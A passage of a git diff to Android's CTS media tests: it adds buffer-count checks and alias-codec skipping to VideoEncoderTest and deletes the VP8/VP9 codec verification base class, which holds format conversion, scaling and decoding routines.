+        averageVPSNR /= frames;
+        statistics.mAveragePSNR = (4 * averageYPSNR + averageUPSNR + averageVPSNR) / 6;
+
+        Log.d(TAG, "PSNR statistics for " + frames + " frames.");
+        String logStr = String.format(Locale.US,
+                "Average PSNR: Y: %.1f. U: %.1f. V: %.1f. Average: %.1f",
+                averageYPSNR, averageUPSNR, averageVPSNR, statistics.mAveragePSNR);
+        Log.d(TAG, logStr);
+        logStr = String.format(Locale.US,
+                "Minimum PSNR: Y: %.1f. U: %.1f. V: %.1f. Overall: %.1f at frame %d",
+                minimumYPSNR, minimumUPSNR, minimumVPSNR,
+                statistics.mMinimumPSNR, minimumPSNRFrameIndex);
+        Log.d(TAG, logStr);
+
+        referenceStream.close();
+        decodedStream.close();
+        return statistics;
+    }
+}
diff --git a/tests/tests/media/src/android/media/cts/VideoEncoderTest.java b/tests/tests/media/src/android/media/cts/VideoEncoderTest.java
index c7018a2..81e6a4c 100644
--- a/tests/tests/media/src/android/media/cts/VideoEncoderTest.java
+++ b/tests/tests/media/src/android/media/cts/VideoEncoderTest.java
@@ -75,6 +75,10 @@
         private LinkedList<Pair<ByteBuffer, BufferInfo>> mStream;
         private MediaFormat mFormat;
         private int mInputBufferSize;
+        // Media buffers(no CSD, no EOS) enqueued.
+        private int mMediaBuffersEnqueuedCount;
+        // Media buffers decoded.
+        private int mMediaBuffersDecodedCount;
 
         public VideoStorage() {
             mStream = new LinkedList<Pair<ByteBuffer, BufferInfo>>();
@@ -93,6 +97,9 @@
             BufferInfo savedInfo = new BufferInfo();
             savedInfo.set(0, savedBuffer.position(), info.presentationTimeUs, info.flags);
             mStream.addLast(Pair.create(savedBuffer, savedInfo));
+            if (info.size > 0 && (info.flags & MediaCodec.BUFFER_FLAG_CODEC_CONFIG) == 0) {
+                ++mMediaBuffersEnqueuedCount;
+            }
         }
 
         private void play(MediaCodec decoder, Surface surface) {
@@ -101,6 +108,9 @@
             final Iterator<Pair<ByteBuffer, BufferInfo>> it = mStream.iterator();
             decoder.setCallback(new MediaCodec.Callback() {
                 public void onOutputBufferAvailable(MediaCodec codec, int ix, BufferInfo info) {
+                    if (info.size > 0) {
+                        ++mMediaBuffersDecodedCount;
+                    }
                     codec.releaseOutputBuffer(ix, info.size > 0);
                     if ((info.flags & MediaCodec.BUFFER_FLAG_END_OF_STREAM) != 0) {
                         synchronized (condition) {
@@ -146,17 +156,25 @@
                 }
             }
             decoder.stop();
+            // All enqueued media data buffers should have got decoded.
+            if (mMediaBuffersEnqueuedCount != mMediaBuffersDecodedCount) {
+                Log.i(TAG, "mMediaBuffersEnqueuedCount:" + mMediaBuffersEnqueuedCount);
+                Log.i(TAG, "mMediaBuffersDecodedCount:" + mMediaBuffersDecodedCount);
+                fail("not all enqueued encoded media buffers were decoded");
+            }
+            mMediaBuffersDecodedCount = 0;
         }
 
-        public void playAll(Surface surface) {
+        public boolean playAll(Surface surface) {
+            boolean skipped = true;
             if (mFormat == null) {
                 Log.i(TAG, "no stream to play");
-                return;
+                return !skipped;
             }
             String mime = mFormat.getString(MediaFormat.KEY_MIME);
             MediaCodecList mcl = new MediaCodecList(MediaCodecList.REGULAR_CODECS);
             for (MediaCodecInfo info : mcl.getCodecInfos()) {
-                if (info.isEncoder()) {
+                if (info.isEncoder() || info.isAlias()) {
                     continue;
                 }
                 MediaCodec codec = null;
@@ -171,7 +189,9 @@
                 }
                 play(codec, surface);
                 codec.release();
+                skipped = false;
             }
+            return !skipped;
         }
     }
 
@@ -405,9 +425,7 @@
             }
         }
 
-        public void playBack(Surface surface) {
-            mEncodedStream.playAll(surface);
-        }
+        public boolean playBack(Surface surface) { return mEncodedStream.playAll(surface); }
 
         public void setFrameAndBitRates(int frameRate, int bitRate) {
             mFrameRate = frameRate;
@@ -1147,7 +1165,7 @@
             boolean success = processor.processLoop(
                     SOURCE_URL, mMime, mName, width, height, optional);
             if (success) {
-                processor.playBack(getActivity().getSurfaceHolder().getSurface());
+                success = processor.playBack(getActivity().getSurfaceHolder().getSurface());
             }
             return success;
         }
@@ -1195,7 +1213,7 @@
         ArrayList<Encoder> result = new ArrayList<Encoder>();
 
         for (MediaCodecInfo info : mcl.getCodecInfos()) {
-            if (!info.isEncoder() || !info.isVendor() != goog) {
+            if (!info.isEncoder() || !info.isVendor() != goog || info.isAlias()) {
                 continue;
             }
             CodecCapabilities caps = null;
diff --git a/tests/tests/media/src/android/media/cts/VpxCodecTestBase.java b/tests/tests/media/src/android/media/cts/VpxCodecTestBase.java
deleted file mode 100644
index a18a9d5..0000000
--- a/tests/tests/media/src/android/media/cts/VpxCodecTestBase.java
+++ /dev/null
@@ -1,2043 +0,0 @@
-/*
- * Copyright (C) 2013 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.media.cts;
-
-import android.content.Context;
-import android.content.res.Resources;
-import android.media.MediaCodec;
-import android.media.MediaCodec.CodecException;
-import android.media.MediaCodecInfo.CodecCapabilities;
-import android.media.MediaCodecList;
-import android.media.MediaCodecInfo;
-import android.media.MediaFormat;
-import android.os.Bundle;
-import android.os.Environment;
-import android.os.Looper;
-import android.os.Handler;
-import android.test.AndroidTestCase;
-import android.util.Log;
-import android.media.cts.R;
-
-import com.android.compatibility.common.util.MediaUtils;
-
-import java.io.File;
-import java.io.FileInputStream;
-import java.io.FileOutputStream;
-import java.io.InputStream;
-import java.nio.ByteBuffer;
-import java.util.Locale;
-import java.util.ArrayList;
-import java.util.concurrent.Callable;
-import java.util.concurrent.CountDownLatch;
-
-/**
- * Verification test for vpx encoder and decoder.
- *
- * A raw yv12 stream is encoded at various settings and written to an IVF
- * file. Encoded stream bitrate and key frame interval are checked against target values.
- * The stream is later decoded by the decoder to verify frames are decodable and to
- * calculate PSNR values for various bitrates.
- */
-public class VpxCodecTestBase extends AndroidTestCase {
-
-    protected static final String TAG = "VPxCodecTestBase";
-    protected static final String VP8_MIME = MediaFormat.MIMETYPE_VIDEO_VP8;
-    protected static final String VP9_MIME = MediaFormat.MIMETYPE_VIDEO_VP9;
-    protected static final String SDCARD_DIR =
-            Environment.getExternalStorageDirectory().getAbsolutePath();
-
-    // Default timeout for MediaCodec buffer dequeue - 200 ms.
-    protected static final long DEFAULT_DEQUEUE_TIMEOUT_US = 200000;
-    // Default timeout for MediaEncoderAsync - 30 sec.
-    protected static final long DEFAULT_ENCODE_TIMEOUT_MS = 30000;
-    // Default sync frame interval in frames
-    private static final int SYNC_FRAME_INTERVAL = 30;
-    // Video bitrate type - should be set to OMX_Video_ControlRateConstant from OMX_Video.h
-    protected static final int VIDEO_ControlRateVariable = 1;
-    protected static final int VIDEO_ControlRateConstant = 2;
-    // NV12 color format supported by QCOM codec, but not declared in MediaCodec -
-    // see /hardware/qcom/media/mm-core/inc/OMX_QCOMExtns.h
-    private static final int COLOR_QCOM_FORMATYUV420PackedSemiPlanar32m = 0x7FA30C04;
-    // Allowable color formats supported by codec - in order of preference.
-    private static final int[] mSupportedColorList = {
-            CodecCapabilities.COLOR_FormatYUV420Planar,
-            CodecCapabilities.COLOR_FormatYUV420SemiPlanar,
-            CodecCapabilities.COLOR_QCOM_FormatYUV420SemiPlanar,
-            COLOR_QCOM_FORMATYUV420PackedSemiPlanar32m
-    };
-    // Scaled image cache list - contains scale factors, for which up-scaled frames
-    // were calculated and were written to yuv file.
-    ArrayList<Integer> mScaledImages = new ArrayList<Integer>();
-
-    private Resources mResources;
-
-    @Override
-    public void setContext(Context context) {
-        super.setContext(context);
-        mResources = mContext.getResources();
-    }
-
-    /**
-     *  VPx codec properties generated by getVpxCodecProperties() function.
-     */
-    private class CodecProperties {
-        CodecProperties(String codecName, int colorFormat) {
-            this.codecName = codecName;
-            this.colorFormat = colorFormat;
-        }
-        public final String codecName; // OpenMax component name for VPx codec.
-        public final int colorFormat;  // Color format supported by codec.
-    }
-
-    /**
-     * Function to find VPx codec.
-     *
-     * Iterates through the list of available codecs and tries to find
-     * VPX codec, which can support either YUV420 planar or NV12 color formats.
-     * If forceGoogleCodec parameter set to true the function always returns
-     * Google VPX codec.
-     * If forceGoogleCodec parameter set to false the functions looks for platform
-     * specific VPX codec first. If no platform specific codec exist, falls back to
-     * Google VPX codec.
-     *
-     * @param isEncoder     Flag if encoder is requested.
-     * @param forceGoogleCodec  Forces to use Google codec.
-     */
-    private CodecProperties getVpxCodecProperties(
-            boolean isEncoder,
-            MediaFormat format,
-            boolean forceGoogleCodec) throws Exception {
-        CodecProperties codecProperties = null;
-        String mime = format.getString(MediaFormat.KEY_MIME);
-
-        // Loop through the list of codec components in case platform specific codec
-        // is requested.
-        MediaCodecList mcl = new MediaCodecList(MediaCodecList.REGULAR_CODECS);
-        for (MediaCodecInfo codecInfo : mcl.getCodecInfos()) {
-            if (isEncoder != codecInfo.isEncoder()) {
-                continue;
-            }
-            Log.v(TAG, codecInfo.getName());
-            // TODO: remove dependence of Google from the test
-            // Check if this is Google codec - we should ignore it.
-            if (codecInfo.isVendor() && forceGoogleCodec) {
-                continue;
-            }
-
-            for (String type : codecInfo.getSupportedTypes()) {
-                if (!type.equalsIgnoreCase(mime)) {
-                    continue;
-                }
-                CodecCapabilities capabilities = codecInfo.getCapabilitiesForType(type);
-                if (!capabilities.isFormatSupported(format)) {
-                    continue;
-                }
-
-                // Get candidate codec properties.
-                Log.v(TAG, "Found candidate codec " + codecInfo.getName());
-                for (int colorFormat: capabilities.colorFormats) {
-                    Log.v(TAG, "   Color: 0x" + Integer.toHexString(colorFormat));
-                }
-
-                // Check supported color formats.
-                for (int supportedColorFormat : mSupportedColorList) {
-                    for (int codecColorFormat : capabilities.colorFormats) {
-                        if (codecColorFormat == supportedColorFormat) {
-                            codecProperties = new CodecProperties(codecInfo.getName(),
-                                    codecColorFormat);
-                            Log.v(TAG, "Found target codec " + codecProperties.codecName +
-                                    ". Color: 0x" + Integer.toHexString(codecColorFormat));
-                            // return first vendor codec (hopefully HW) found
-                            if (!codecInfo.isVendor()) {
-                                return codecProperties;
-                            }
-                        }
-                    }
-                }
-            }
-        }
-        if (codecProperties == null) {
-            Log.i(TAG, "no suitable " + (forceGoogleCodec ? "google " : "")
-                    + (isEncoder ? "encoder " : "decoder ") + "found for " + format);
-        }
-        return codecProperties;
-    }
-
-    /**
-     * Parameters for encoded video stream.
-     */
-    protected class EncoderOutputStreamParameters {
-        // Name of raw YUV420 input file. When the value of this parameter
-        // is set to null input file descriptor from inputResourceId parameter
-        // is used instead.
-        public String inputYuvFilename;
-        // Name of scaled YUV420 input file.
-        public String scaledYuvFilename;
-        // File descriptor for the raw input file (YUV420). Used only if
-        // inputYuvFilename parameter is null.
-        int inputResourceId;
-        // Name of the IVF file to write encoded bitsream
-        public String outputIvfFilename;
-        // Mime Type of the Encoded content.
-        public String codecMimeType;
-        // Force to use Google VPx encoder.
-        boolean forceGoogleEncoder;
-        // Number of frames to encode.
-        int frameCount;
-        // Frame rate of input file in frames per second.
-        int frameRate;
-        // Encoded frame width.
-        public int frameWidth;
-        // Encoded frame height.
-        public int frameHeight;
-        // Encoding bitrate array in bits/second for every frame. If array length
-        // is shorter than the total number of frames, the last value is re-used for
-        // all remaining frames. For constant bitrate encoding single element
-        // array can be used with first element set to target bitrate value.
-        public int[] bitrateSet;
-        // Encoding bitrate type - VBR or CBR
-        public int bitrateType;
-        // Number of temporal layers
-        public int temporalLayers;
-        // Desired key frame interval - codec is asked to generate key frames
-        // at a period defined by this parameter.
-        public int syncFrameInterval;
-        // Optional parameter - forced key frame interval. Used to
-        // explicitly request the codec to generate key frames using
-        // MediaCodec.PARAMETER_KEY_REQUEST_SYNC_FRAME parameter.
-        public int syncForceFrameInterval;
-        // Buffer timeout
-        long timeoutDequeue;
-        // Flag if encoder should run in Looper thread.
-        boolean runInLooperThread;
-        // Flag if use NdkMediaCodec
-        boolean useNdk;
-    }
-
-    /**
-     * Generates an array of default parameters for encoder output stream based on
-     * upscaling value.
-     */
-    protected ArrayList<EncoderOutputStreamParameters> getDefaultEncodingParameterList(
-            String inputYuvName,
-            String outputIvfBaseName,
-            String codecMimeType,
-            int encodeSeconds,
-            int[] resolutionScales,
-            int frameWidth,
-            int frameHeight,
-            int frameRate,
-            int bitrateMode,
-            int[] bitrates,
-            boolean syncEncoding) {
-        assertTrue(resolutionScales.length == bitrates.length);
-        int numCodecs = resolutionScales.length;
-        ArrayList<EncoderOutputStreamParameters> outputParameters =
-                new ArrayList<EncoderOutputStreamParameters>(numCodecs);
-        for (int i = 0; i < numCodecs; i++) {
-            EncoderOutputStreamParameters params = new EncoderOutputStreamParameters();
-            if (inputYuvName != null) {
-                params.inputYuvFilename = SDCARD_DIR + File.separator + inputYuvName;
-            } else {
-                params.inputYuvFilename = null;
-            }
-            params.scaledYuvFilename = SDCARD_DIR + File.separator +
-                    outputIvfBaseName + resolutionScales[i]+ ".yuv";
-            params.inputResourceId = R.raw.football_qvga;
-            params.codecMimeType = codecMimeType;
-            String codecSuffix = VP8_MIME.equals(codecMimeType) ? "vp8" : "vp9";
-            params.outputIvfFilename = SDCARD_DIR + File.separator +
-                    outputIvfBaseName + resolutionScales[i] + "_" + codecSuffix + ".ivf";
-            params.forceGoogleEncoder = false;
-            params.frameCount = encodeSeconds * frameRate;
-            params.frameRate = frameRate;
-            params.frameWidth = Math.min(frameWidth * resolutionScales[i], 1280);
-            params.frameHeight = Math.min(frameHeight * resolutionScales[i], 720);
-            params.bitrateSet = new int[1];
-            params.bitrateSet[0] = bitrates[i];
-            params.bitrateType = bitrateMode;
-            params.temporalLayers = 0;
-            params.syncFrameInterval = SYNC_FRAME_INTERVAL;
-            params.syncForceFrameInterval = 0;
-            if (syncEncoding) {
-                params.timeoutDequeue = DEFAULT_DEQUEUE_TIMEOUT_US;
-                params.runInLooperThread = false;
-            } else {
-                params.timeoutDequeue = 0;
-                params.runInLooperThread = true;
-            }
-            outputParameters.add(params);
-        }
-        return outputParameters;
-    }
-
-    protected EncoderOutputStreamParameters getDefaultEncodingParameters(
-            String inputYuvName,
-            String outputIvfBaseName,
-            String codecMimeType,
-            int encodeSeconds,
-            int frameWidth,
-            int frameHeight,
-            int frameRate,
-            int bitrateMode,
-            int bitrate,
-            boolean syncEncoding) {
-        int[] scaleValues = { 1 };
-        int[] bitrates = { bitrate };
-        return getDefaultEncodingParameterList(
-                inputYuvName,
-                outputIvfBaseName,
-                codecMimeType,
-                encodeSeconds,
-                scaleValues,
-                frameWidth,
-                frameHeight,
-                frameRate,
-                bitrateMode,
-                bitrates,
-                syncEncoding).get(0);
-    }
-
-    /**
-     * Converts (interleaves) YUV420 planar to NV12.
-     * Assumes packed, macroblock-aligned frame with no cropping
-     * (visible/coded row length == stride).
-     */
-    private static byte[] YUV420ToNV(int width, int height, byte[] yuv) {
-        byte[] nv = new byte[yuv.length];
-        // Y plane we just copy.
-        System.arraycopy(yuv, 0, nv, 0, width * height);
-
-        // U & V plane we interleave.
-        int u_offset = width * height;
-        int v_offset = u_offset + u_offset / 4;
-        int nv_offset = width * height;
-        for (int i = 0; i < width * height / 4; i++) {
-            nv[nv_offset++] = yuv[u_offset++];
-            nv[nv_offset++] = yuv[v_offset++];
-        }
-        return nv;
-    }
-
-    /**
-     * Converts (de-interleaves) NV12 to YUV420 planar.
-     * Stride may be greater than width, slice height may be greater than height.
-     */
-    private static byte[] NV12ToYUV420(int width, int height,
-            int stride, int sliceHeight, byte[] nv12) {
-        byte[] yuv = new byte[width * height * 3 / 2];
-
-        // Y plane we just copy.
-        for (int i = 0; i < height; i++) {
-            System.arraycopy(nv12, i * stride, yuv, i * width, width);
-        }
-
-        // U & V plane - de-interleave.
-        int u_offset = width * height;
-        int v_offset = u_offset + u_offset / 4;
-        int nv_offset;
-        for (int i = 0; i < height / 2; i++) {
-            nv_offset = stride * (sliceHeight + i);
-            for (int j = 0; j < width / 2; j++) {
-                yuv[u_offset++] = nv12[nv_offset++];
-                yuv[v_offset++] = nv12[nv_offset++];
-            }
-        }
-        return yuv;
-    }
-
-    /**
-     * Packs YUV420 frame by moving it to a smaller size buffer with stride and slice
-     * height equal to the crop window.
-     */
-    private static byte[] PackYUV420(int left, int top, int width, int height,
-            int stride, int sliceHeight, byte[] src) {
-        byte[] dst = new byte[width * height * 3 / 2];
-        // Y copy.
-        for (int i = 0; i < height; i++) {
-            System.arraycopy(src, (i + top) * stride + left, dst, i * width, width);
-        }
-        // U and V copy.
-        int u_src_offset = stride * sliceHeight;
-        int v_src_offset = u_src_offset + u_src_offset / 4;
-        int u_dst_offset = width * height;
-        int v_dst_offset = u_dst_offset + u_dst_offset / 4;
-        // Downsample and align to floor-2 for crop origin.
-        left /= 2;
-        top /= 2;
-        for (int i = 0; i < height / 2; i++) {
-            System.arraycopy(src, u_src_offset + (i + top) * (stride / 2) + left,
-                    dst, u_dst_offset + i * (width / 2), width / 2);
-            System.arraycopy(src, v_src_offset + (i + top) * (stride / 2) + left,
-                    dst, v_dst_offset + i * (width / 2), width / 2);
-        }
-        return dst;
-    }
-
-
-    private static void imageUpscale1To2(byte[] src, int srcByteOffset, int srcStride,
-            byte[] dst, int dstByteOffset, int dstWidth, int dstHeight) {
-        for (int i = 0; i < dstHeight/2 - 1; i++) {
-            int dstOffset0 = 2 * i * dstWidth + dstByteOffset;
-            int dstOffset1 = dstOffset0 + dstWidth;
-            int srcOffset0 = i * srcStride + srcByteOffset;
-            int srcOffset1 = srcOffset0 + srcStride;
-            int pixel00 = (int)src[srcOffset0++] & 0xff;
-            int pixel10 = (int)src[srcOffset1++] & 0xff;
-            for (int j = 0; j < dstWidth/2 - 1; j++) {
-                int pixel01 = (int)src[srcOffset0++] & 0xff;
-                int pixel11 = (int)src[srcOffset1++] & 0xff;
-                dst[dstOffset0++] = (byte)pixel00;
-                dst[dstOffset0++] = (byte)((pixel00 + pixel01 + 1) / 2);
-                dst[dstOffset1++] = (byte)((pixel00 + pixel10 + 1) / 2);
-                dst[dstOffset1++] = (byte)((pixel00 + pixel01 + pixel10 + pixel11 + 2) / 4);
-                pixel00 = pixel01;
-                pixel10 = pixel11;
-            }
-            // last column
-            dst[dstOffset0++] = (byte)pixel00;
-            dst[dstOffset0++] = (byte)pixel00;
-            dst[dstOffset1++] = (byte)((pixel00 + pixel10 + 1) / 2);
-            dst[dstOffset1++] = (byte)((pixel00 + pixel10 + 1) / 2);
-        }
-
-        // last row
-        int dstOffset0 = (dstHeight - 2) * dstWidth + dstByteOffset;
-        int dstOffset1 = dstOffset0 + dstWidth;
-        int srcOffset0 = (dstHeight/2 - 1) * srcStride + srcByteOffset;
-        int pixel00 = (int)src[srcOffset0++] & 0xff;
-        for (int j = 0; j < dstWidth/2 - 1; j++) {
-            int pixel01 = (int)src[srcOffset0++] & 0xff;
-            dst[dstOffset0++] = (byte)pixel00;
-            dst[dstOffset0++] = (byte)((pixel00 + pixel01 + 1) / 2);
-            dst[dstOffset1++] = (byte)pixel00;
-            dst[dstOffset1++] = (byte)((pixel00 + pixel01 + 1) / 2);
-            pixel00 = pixel01;
-        }
-        // the very last pixel - bottom right
-        dst[dstOffset0++] = (byte)pixel00;
-        dst[dstOffset0++] = (byte)pixel00;
-        dst[dstOffset1++] = (byte)pixel00;
-        dst[dstOffset1++] = (byte)pixel00;
-    }
-
-    /**
-    * Up-scale image.
-    * Scale factor is defined by source and destination width ratio.
-    * Only 1:2 and 1:4 up-scaling is supported for now.
-    * For 640x480 -> 1280x720 conversion only top 640x360 part of the original
-    * image is scaled.
-    */
-    private static byte[] imageScale(byte[] src, int srcWidth, int srcHeight,
-            int dstWidth, int dstHeight) throws Exception {
-        int srcYSize = srcWidth * srcHeight;
-        int dstYSize = dstWidth * dstHeight;
-        byte[] dst = null;
-        if (dstWidth == 2 * srcWidth && dstHeight <= 2 * srcHeight) {
-            // 1:2 upscale
-            dst = new byte[dstWidth * dstHeight * 3 / 2];
-            imageUpscale1To2(src, 0, srcWidth,
-                    dst, 0, dstWidth, dstHeight);                                 // Y
-            imageUpscale1To2(src, srcYSize, srcWidth / 2,
-                    dst, dstYSize, dstWidth / 2, dstHeight / 2);                  // U
-            imageUpscale1To2(src, srcYSize * 5 / 4, srcWidth / 2,
-                    dst, dstYSize * 5 / 4, dstWidth / 2, dstHeight / 2);          // V
-        } else if (dstWidth == 4 * srcWidth && dstHeight <= 4 * srcHeight) {
-            // 1:4 upscale - in two steps
-            int midWidth = 2 * srcWidth;
-            int midHeight = 2 * srcHeight;
-            byte[] midBuffer = imageScale(src, srcWidth, srcHeight, midWidth, midHeight);
-            dst = imageScale(midBuffer, midWidth, midHeight, dstWidth, dstHeight);
-
-        } else {
-            throw new RuntimeException("Can not find proper scaling function");
-        }
-
-        return dst;
-    }
-
-    private void cacheScaledImage(
-            String srcYuvFilename, int srcResourceId, int srcFrameWidth, int srcFrameHeight,
-            String dstYuvFilename, int dstFrameWidth, int dstFrameHeight) throws Exception {
-        InputStream srcStream = OpenFileOrResourceId(srcYuvFilename, srcResourceId);
-        FileOutputStream dstFile = new FileOutputStream(dstYuvFilename, false);
-        int srcFrameSize = srcFrameWidth * srcFrameHeight * 3 / 2;
-        byte[] srcFrame = new byte[srcFrameSize];
-        byte[] dstFrame = null;
-        Log.d(TAG, "Scale to " + dstFrameWidth + " x " + dstFrameHeight + ". -> " + dstYuvFilename);
-        while (true) {
-            int bytesRead = srcStream.read(srcFrame);
-            if (bytesRead != srcFrame.length) {
-                break;
-            }
-            if (dstFrameWidth == srcFrameWidth && dstFrameHeight == srcFrameHeight) {
-                dstFrame = srcFrame;
-            } else {
-                dstFrame = imageScale(srcFrame, srcFrameWidth, srcFrameHeight,
-                        dstFrameWidth, dstFrameHeight);
-            }
-            dstFile.write(dstFrame);
-        }
-        srcStream.close();
-        dstFile.close();
-    }
-
-
-    /**
-     * A basic check if an encoded stream is decodable.
-     *
-     * The most basic confirmation we can get about a frame
-     * being properly encoded is trying to decode it.
-     * (Especially in realtime mode encode output is non-
-     * deterministic, therefore a more thorough check like
-     * md5 sum comparison wouldn't work.)
-     *
-     * Indeed, MediaCodec will raise an IllegalStateException
-     * whenever vpx decoder fails to decode a frame, and
-     * this test uses that fact to verify the bitstream.
-     *
-     * @param inputIvfFilename  The name of the IVF file containing encoded bitsream.
-     * @param outputYuvFilename The name of the output YUV file (optional).
-     * @param frameRate         Frame rate of input file in frames per second
-     * @param forceGoogleDecoder    Force to use Google VPx decoder.
-     */
-    protected ArrayList<MediaCodec.BufferInfo> decode(
-            String inputIvfFilename,
-            String outputYuvFilename,
-            String codecMimeType,
-            int frameRate,
-            boolean forceGoogleDecoder) throws Exception {
-        ArrayList<MediaCodec.BufferInfo> bufferInfos = new ArrayList<MediaCodec.BufferInfo>();
-
-        // Open input/output.
-        IvfReader ivf = new IvfReader(inputIvfFilename);
-        int frameWidth = ivf.getWidth();
-        int frameHeight = ivf.getHeight();
-        int frameCount = ivf.getFrameCount();
-        int frameStride = frameWidth;
-        int frameSliceHeight = frameHeight;
-        int cropLeft = 0;
-        int cropTop = 0;
-        int cropWidth = frameWidth;
-        int cropHeight = frameHeight;
-        assertTrue(frameWidth > 0);
-        assertTrue(frameHeight > 0);
-        assertTrue(frameCount > 0);
-
-        // Create decoder.
-        MediaFormat format = MediaFormat.createVideoFormat(
-                codecMimeType, ivf.getWidth(), ivf.getHeight());
-        CodecProperties properties = getVpxCodecProperties(
-                false /* encoder */, format, forceGoogleDecoder);
-        if (properties == null) {
-            ivf.close();
-            return null;
-        }
-        int frameColorFormat = properties.colorFormat;
-        format.setInteger(MediaFormat.KEY_COLOR_FORMAT, properties.colorFormat);
-
-        FileOutputStream yuv = null;
-        if (outputYuvFilename != null) {
-            yuv = new FileOutputStream(outputYuvFilename, false);
-        }
-
-        Log.d(TAG, "Creating decoder " + properties.codecName +
-                ". Color format: 0x" + Integer.toHexString(frameColorFormat) +
-                ". " + frameWidth + " x " + frameHeight);
-        Log.d(TAG, "  Format: " + format);
-        Log.d(TAG, "  In: " + inputIvfFilename + ". Out:" + outputYuvFilename);
-        MediaCodec decoder = MediaCodec.createByCodecName(properties.codecName);
-        decoder.configure(format,
-                          null,  // surface
-                          null,  // crypto
-                          0);    // flags
-        decoder.start();
-
-        ByteBuffer[] inputBuffers = decoder.getInputBuffers();
-        ByteBuffer[] outputBuffers = decoder.getOutputBuffers();
-        MediaCodec.BufferInfo bufferInfo = new MediaCodec.BufferInfo();
-
-        // decode loop
-        int inputFrameIndex = 0;
-        int outputFrameIndex = 0;
-        long inPresentationTimeUs = 0;
-        long outPresentationTimeUs = 0;
-        boolean sawOutputEOS = false;
-        boolean sawInputEOS = false;
-
-        while (!sawOutputEOS) {
-            if (!sawInputEOS) {
-                int inputBufIndex = decoder.dequeueInputBuffer(DEFAULT_DEQUEUE_TIMEOUT_US);
-                if (inputBufIndex >= 0) {
-                    byte[] frame = ivf.readFrame(inputFrameIndex);
-
-                    if (inputFrameIndex == frameCount - 1) {
-                        Log.d(TAG, "  Input EOS for frame # " + inputFrameIndex);
-                        sawInputEOS = true;
-                    }
-
-                    inputBuffers[inputBufIndex].clear();
-                    inputBuffers[inputBufIndex].put(frame);
-                    inputBuffers[inputBufIndex].rewind();
-                    inPresentationTimeUs = (inputFrameIndex * 1000000) / frameRate;
-
-                    decoder.queueInputBuffer(
-                            inputBufIndex,
-                            0,  // offset
-                            frame.length,
-                            inPresentationTimeUs,
-                            sawInputEOS ? MediaCodec.BUFFER_FLAG_END_OF_STREAM : 0);
-
-                    inputFrameIndex++;
-                }
-            }
-
-            int result = decoder.dequeueOutputBuffer(bufferInfo, DEFAULT_DEQUEUE_TIMEOUT_US);
-            while (result == MediaCodec.INFO_OUTPUT_BUFFERS_CHANGED ||
-                    result == MediaCodec.INFO_OUTPUT_FORMAT_CHANGED) {
-                if (result == MediaCodec.INFO_OUTPUT_BUFFERS_CHANGED) {
-                    outputBuffers = decoder.getOutputBuffers();
-                } else  if (result == MediaCodec.INFO_OUTPUT_FORMAT_CHANGED) {
-                    // Process format change
-                    format = decoder.getOutputFormat();
-                    frameWidth = format.getInteger(MediaFormat.KEY_WIDTH);
-                    frameHeight = format.getInteger(MediaFormat.KEY_HEIGHT);
-                    frameColorFormat = format.getInteger(MediaFormat.KEY_COLOR_FORMAT);
-                    Log.d(TAG, "Decoder output format change. Color: 0x" +
-                            Integer.toHexString(frameColorFormat));
-                    Log.d(TAG, "Format: " + format.toString());
-
-                    // Parse frame and slice height from undocumented values
-                    if (format.containsKey("stride")) {
-                        frameStride = format.getInteger("stride");
-                    } else {
-                        frameStride = frameWidth;
-                    }
-                    if (format.containsKey("slice-height")) {
-                        frameSliceHeight = format.getInteger("slice-height");
-                    } else {
-                        frameSliceHeight = frameHeight;
-                    }
-                    Log.d(TAG, "Frame stride and slice height: " + frameStride +
-                            " x " + frameSliceHeight);
-                    frameStride = Math.max(frameWidth, frameStride);
-                    frameSliceHeight = Math.max(frameHeight, frameSliceHeight);
-
-                    // Parse crop window for the area of recording decoded frame data.
-                    if (format.containsKey("crop-left")) {
-                        cropLeft = format.getInteger("crop-left");
-                    }
-                    if (format.containsKey("crop-top")) {
-                        cropTop = format.getInteger("crop-top");
-                    }
-                    if (format.containsKey("crop-right")) {
-                        cropWidth = format.getInteger("crop-right") - cropLeft + 1;
-                    } else {
-                        cropWidth = frameWidth;
-                    }
-                    if (format.containsKey("crop-bottom")) {
-                        cropHeight = format.getInteger("crop-bottom") - cropTop + 1;
-                    } else {
-                        cropHeight = frameHeight;
-                    }
-                    Log.d(TAG, "Frame crop window origin: " + cropLeft + " x " + cropTop
-                            + ", size: " + cropWidth + " x " + cropHeight);
-                    cropWidth = Math.min(frameWidth - cropLeft, cropWidth);
-                    cropHeight = Math.min(frameHeight - cropTop, cropHeight);
-                }
-                result = decoder.dequeueOutputBuffer(bufferInfo, DEFAULT_DEQUEUE_TIMEOUT_US);
-            }
-            if (result >= 0) {
-                int outputBufIndex = result;
-                outPresentationTimeUs = bufferInfo.presentationTimeUs;
-                Log.v(TAG, "Writing buffer # " + outputFrameIndex +
-                        ". Size: " + bufferInfo.size +
-                        ". InTime: " + (inPresentationTimeUs + 500)/1000 +
-                        ". OutTime: " + (outPresentationTimeUs + 500)/1000);
-                if ((bufferInfo.flags & MediaCodec.BUFFER_FLAG_END_OF_STREAM) != 0) {
-                    sawOutputEOS = true;
-                    Log.d(TAG, "   Output EOS for frame # " + outputFrameIndex);
-                }
-
-                if (bufferInfo.size > 0) {
-                    // Save decoder output to yuv file.
-                    if (yuv != null) {
-                        byte[] frame = new byte[bufferInfo.size];
-                        outputBuffers[outputBufIndex].position(bufferInfo.offset);
-                        outputBuffers[outputBufIndex].get(frame, 0, bufferInfo.size);
-                        // Convert NV12 to YUV420 if necessary.
-                        if (frameColorFormat != CodecCapabilities.COLOR_FormatYUV420Planar) {
-                            frame = NV12ToYUV420(frameWidth, frameHeight,
-                                    frameStride, frameSliceHeight, frame);
-                        }
-                        int writeLength = Math.min(cropWidth * cropHeight * 3 / 2, frame.length);
-                        // Pack frame if necessary.
-                        if (writeLength < frame.length &&
-                                (frameStride > cropWidth || frameSliceHeight > cropHeight)) {
-                            frame = PackYUV420(cropLeft, cropTop, cropWidth, cropHeight,
-                                    frameStride, frameSliceHeight, frame);
-                        }
-                        yuv.write(frame, 0, writeLength);
-                    }
-                    outputFrameIndex++;
-
-                    // Update statistics - store presentation time delay in offset
